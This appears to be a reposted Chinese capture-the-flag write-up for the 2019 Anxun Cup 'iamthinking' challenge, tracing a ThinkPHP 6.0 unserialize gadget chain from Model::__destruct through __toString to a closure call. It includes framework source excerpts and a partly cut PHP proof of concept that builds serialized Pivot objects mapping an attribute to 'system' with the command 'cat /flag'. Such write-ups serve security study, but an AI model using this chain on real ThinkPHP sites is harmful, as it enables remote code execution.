[安洵杯 2019]iamthinking&&thinkphp6.0反序列化漏洞
2021-01-19 18:12
标签:地方 space seq 方式 调用 cep ring 目录 xtend 刚开始是403,扫描以下目录,扫描到三个目录。 通过README可以看到是ThinkPHP6.0。 我们现在只能到index頁面,全局搜索一下unserialize,发现在index.php下存在着反序列化的地方。 同时payload参数可控,通过GET方式就能传递到。 接下来要找反序列的点,全局distruct,先从这个点开始审计。 发现只有六处,反序列的点,依次查看。 Mongo处无法利用 free,close都无法利用,只是释放参数。 connection处同理。 看向Model.php。 看到save函数,感觉是能操作的。 条件lazysave是设为true,默认为flase。 跟进save方法。 需要满足$this->isEmpty()不成立,$this->trigger(‘BeforeWrite‘)为TRUE。 即data不设置即可。 跟进tigger: 让$this->withEvent为flase即可。 跟进upadteData方法以及insertData方法。 继续跟进 发现文字拼接: 能够被利用触发toString方法。 进入到这一步的条件就是: $this->field为空,且$this->schema也为空。 同时这里还有一个判断,即$this->table,当为true是才能执行字符串的拼接。
所以为了能让这个方法被调用到,我们要让exists存在。 关于toString魔术方法,他是在 继续查看tojson这个函数: 跟进到toArray方法。 再看到getAttr方法: 跟进getData方法: 进入到getRealFieldName方法: 如果$this->strict为True,返回$name。 此时再getData方法中: 此时再getAttr中就是: $this->getValue($key, $value, null); 跟进getvalue: 可以很明显看到: 当$this->withAttr[$key]不为数组条件就会为false,从而触发命令执行 poc: 这个poc是网上找的,跟我写的思路可能有些地方不太一致。 [安洵杯 2019]iamthinking&&thinkphp6.0反序列化漏洞 标签:地方 space seq 方式 调用 cep ring 目录 xtend 原文地址:https://www.cnblogs.com/ophxc/p/13334110.html[安洵杯 2019]iamthinking&&thinkphp6.0反序列化漏洞
[18:06:19] 200 - 1KB - /README.md
[18:06:19] 200 - 34B - /.gitignore
[18:06:26] 200 - 880KB - /www.zip
public function __destruct()
{
if ($this->lazySave) {
$this->save();
}
}
public function save(array $data = [], string $sequence = null): bool
{
// 数据对象赋值
$this->setAttrs($data);
if ($this->isEmpty() || false === $this->trigger(‘BeforeWrite‘)) {
return false;
}
$result = $this->exists ? $this->updateData() : $this->insertData($sequence);
if (false === $result) {
return false;
}
// 写入回调
$this->trigger(‘AfterWrite‘);
// 重新记录原始数据
$this->origin = $this->data;
$this->set = [];
$this->lazySave = false;
return true;
}
跟进isEmpty:
return empty($this->data);
if (!$this->withEvent) {
return true;
}
protected function updateData(): bool
{
// 事件回调
if (false === $this->trigger(‘BeforeUpdate‘)) {
return false;
}
$this->checkData();
// 获取有更新的数据
$data = $this->getChangedData();
if (empty($data)) {
// 关联更新
if (!empty($this->relationWrite)) {
$this->autoRelationUpdate();
}
return true;
}
if ($this->autoWriteTimestamp && $this->updateTime && !isset($data[$this->updateTime])) {
// 自动写入更新时间
$data[$this->updateTime] = $this->autoWriteTimestamp($this->updateTime);
$this->data[$this->updateTime] = $data[$this->updateTime];
}
// 检查允许字段
$allowFields = $this->checkAllowFields();
foreach ($this->relationWrite as $name => $val) {
if (!is_array($val)) {
continue;
}
foreach ($val as $key) {
if (isset($data[$key])) {
unset($data[$key]);
}
}
}
// 模型更新
$db = $this->db();
$db->startTrans();
try {
$where = $this->getWhere();
$result = $db->where($where)
->strict(false)
->field($allowFields)
->update($data);
$this->checkResult($result);
// 关联更新
if (!empty($this->relationWrite)) {
$this->autoRelationUpdate();
}
$db->commit();
// 更新回调
$this->trigger(‘AfterUpdate‘);
return true;
} catch (\Exception $e) {
$db->rollback();
throw $e;
}
}
checkAllowFields
$this->table . $this->suffix
即: $this->field = [];
$this->schema = [];
即 $this->exists =True
Conversion.php
当中。
public function __toString()
{
return $this->toJson();
}
public function toJson(int $options = JSON_UNESCAPED_UNICODE): string
{
return json_encode($this->toArray(), $options);
}
elseif (isset($this->visible[$key])) {
$item[$key] = $this->getAttr($key);
} elseif (!isset($this->hidden[$key]) && !$hasVisible) {
$item[$key] = $this->getAttr($key);
}
public function getAttr(string $name)
{
try {
$relation = false;
$value = $this->getData($name);
} catch (InvalidArgumentException $e) {
$relation = $this->isRelationAttr($name);
$value = null;
}
return $this->getValue($name, $value, $relation);
}
if (is_null($name)) {
return $this->data;
}
$fieldName = $this->getRealFieldName($name);
protected function getRealFieldName(string $name): string
{
return $this->strict ? $name : Str::snake($name);
}
if (array_key_exists($fieldName, $this->data)) {
return $this->data[$fieldName];
} elseif (array_key_exists($name, $this->relation)) {
return $this->relation[$name];
}
$this->data[$fielName]
= $this->data[$key]
protected function getValue(string $name, $value, $relation = false)
{
// 检测属性获取器
$fieldName = $this->getRealFieldName($name);
$method = ‘get‘ . Str::studly($name) . ‘Attr‘;
if (isset($this->withAttr[$fieldName])) {
if ($relation) {
$value = $this->getRelationValue($relation);
}
if (in_array($fieldName, $this->json) && is_array($this->withAttr[$fieldName])) {
$value = $this->getJsonValue($fieldName, $value);
}else {
//$fieldName = a
//withAttr[a] = system
$closure = $this->withAttr[$fieldName];
//value = system(ls,)
$value = $closure($value, $this->data);
}
"system"];
public function get()
{
$this->data = ["xxx" => "cat /flag"];
}
}
}
namespace think{
abstract class Model{
use model\concern\Attribute;
use model\concern\Conversion;
private $lazySave;
protected $withEvent;
private $exists;
private $force;
protected $field;
protected $schema;
protected $table;
function __construct(){
$this->lazySave = true;
$this->withEvent = false;
$this->exists = true;
$this->force = true;
$this->field = [];
$this->schema = [];
$this->table = true;
}
}
}
namespace think\model{
use think\Model;
class Pivot extends Model
{
function __construct($obj=‘‘)
{
//定义this->data不为空
parent::__construct();
$this->get();
$this->table = $obj;
}
}
$a = new Pivot();
$b = new Pivot($a);
echo urlencode(serialize($b));
}
上一篇:WEB前端第五课——HTML表单
下一篇:00、Vue概述、HelloWorld程序、Mustache语法、v-html、v-on:click、v-for、v-bind动态绑定属性、v-bind语法糖)
文章标题:[安洵杯 2019]iamthinking&&thinkphp6.0反序列化漏洞
文章链接:http://soscw.com/index.php/essay/44169.html